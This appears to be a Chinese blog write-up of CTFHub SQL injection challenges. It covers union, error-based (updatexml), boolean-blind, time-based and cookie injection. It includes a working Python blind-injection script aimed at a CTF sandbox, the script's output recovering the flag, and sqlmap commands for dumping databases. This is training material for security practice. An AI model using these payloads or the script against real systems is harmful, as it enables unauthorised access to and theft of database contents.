CTFHUB-SQL注入

一、整数型注入

1.输入1,2,3判断存在整数型注入

2.判断当前表的字段个数,在字段为1,和2时有回显,判断字段数为2

3.判断注入点,查询:-1 union select 1,2    只显示2,注入点在2处

4.查询数据库,爆出数据库为sqli

5.查询表名,爆出2个表

6.有flag提示,查询表flag中的字段

7.flag表中有flag的字段,查询flag字段中的具体内容,得到flag

二、字符型注入

1.输入1,由提示可知存在字符型注入,可以通过利用#注释掉后面的内容

2.构造1’ order by 1#结构判断当前表的字段个数,在字段为1,和2时有回显,判断字段数为2

3.找注入点,在2处,依次进行爆表、数据库、字段(与整数型注入相似)

三、报错注入

1.输入1,2,3以及1’发现会出现报错

 有三种报错注入的方法:group by 重复键冲  extractvalue() 函数  updatexml() 函数

我这些方法都有尝试,主要用updatexml() 函数找flag

2.获取数据库名字

3.获取当前数据库中表的名字

1 and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='sqli' ),'^'),1) --+

4.显示的内容超过一行它不能显示那么多,所以在 table_schema='sqli' 后加上 limit 0,1,显示第一行。然后依次获取第一、二个表名

5.有flag提示,查询表flag中的字段

四、布尔注入

1.输入1,2,3时只会出现两种表示,一个是正确一个是错误

有两种方法:手动注入和 python脚本

手动注入

思路:不论是数据库还是表还是字段,先判断长度,然后利用ascll码判断每一个字符

1:判断当前数据库的长度,利用二分法,依次慢慢与目标缩进
输入:1 and length(database())<5    显示正确
输入:1 and length(database())>5  显示错误
说明字符数在5个以内,一个一个去猜

当输入  1 and length(database())=5  时 显示正确

说明字符为4个
2:判断当前数据库的字符,利用二分法依次判断
//判断数据库的第一个字符(以此类推)
输入:1 and ascii(substr(database(),1,1))>100 
//判断数据库的第二个字符
输入:1 and ascii(substr(database(),2,1))>100
//判断数据库的第三个字符
输入:1 and ascii(substr(database(),3,1))>100
...........
由此可以判断出当前数据库为 sqli

python脚本

用pycharm运行此代码(下载requests库),改一下url就可以

# @SoftWare : PyCharm

import requests

urlOPEN = 'http://challenge-1ff99e9745e879f5.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success'


def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)


database_name()


def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)


table_name()


def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('column_name:', list)


column_name()


def get_data():
    name = ''
    for j in range(1, 50):  # 判断一个值最多有51个字符组成
        for i in range(48, 126):
            url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
            j, i)
            r = requests.get(url)
            if mark in r.text:
                name = name + chr(i)
                print(name)
                break
    print('value:', name)


get_data()

我的运行结果如下: 

C:\Users\Lenovo\Desktop\ctf-ldx\a\.venv\Scripts\python.exe C:\Users\Lenovo\Desktop\ctf-ldx\a\.venv\a.py 
s
sq
sql
sqli
database_name: sqli
table_name: ['news', 'flag', '', '']
column_name: ['flag', '', '']
c
ct
ctf
ctfh
ctfhu
ctfhub
ctfhub{
ctfhub{0
ctfhub{0b
ctfhub{0b3
ctfhub{0b33
ctfhub{0b332
ctfhub{0b332a
ctfhub{0b332a7
ctfhub{0b332a73
ctfhub{0b332a736
ctfhub{0b332a7365
ctfhub{0b332a7365e
ctfhub{0b332a7365ea
ctfhub{0b332a7365ea7
ctfhub{0b332a7365ea74
ctfhub{0b332a7365ea74e
ctfhub{0b332a7365ea74e1
ctfhub{0b332a7365ea74e1c
ctfhub{0b332a7365ea74e1c3
ctfhub{0b332a7365ea74e1c3c
ctfhub{0b332a7365ea74e1c3c3
ctfhub{0b332a7365ea74e1c3c3d
ctfhub{0b332a7365ea74e1c3c3de
ctfhub{0b332a7365ea74e1c3c3de8
ctfhub{0b332a7365ea74e1c3c3de81
ctfhub{0b332a7365ea74e1c3c3de81}
value: ctfhub{0b332a7365ea74e1c3c3de81}

Process finished with exit code 0

五、时间盲注 

1.在盲注时可以使用SQLMap工具

 输入以下指令分别查到数据库、表名、字段名以及字段内容

​
python sqlmap.py -u "网址/?id=1" --dbs
python sqlmap.py -u "网址/?id=1" -D 数据库名 --tables
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" --columns
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" -C "字段名"  --dump

​

六、MYsql注入

1.手动注入表名和字段名,得到flag

查找字段内容得到flag:  -1 union select 1,group_concat(字段名) from 表名

七、Cookie注入

1.使用sqlmap注入得到flag

python sqlmap.py -u "网址/?id=1" --dbs
python sqlmap.py -u "网址/?id=1" -D 数据库名 --tables
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" --columns
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" -C "字段名"  --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值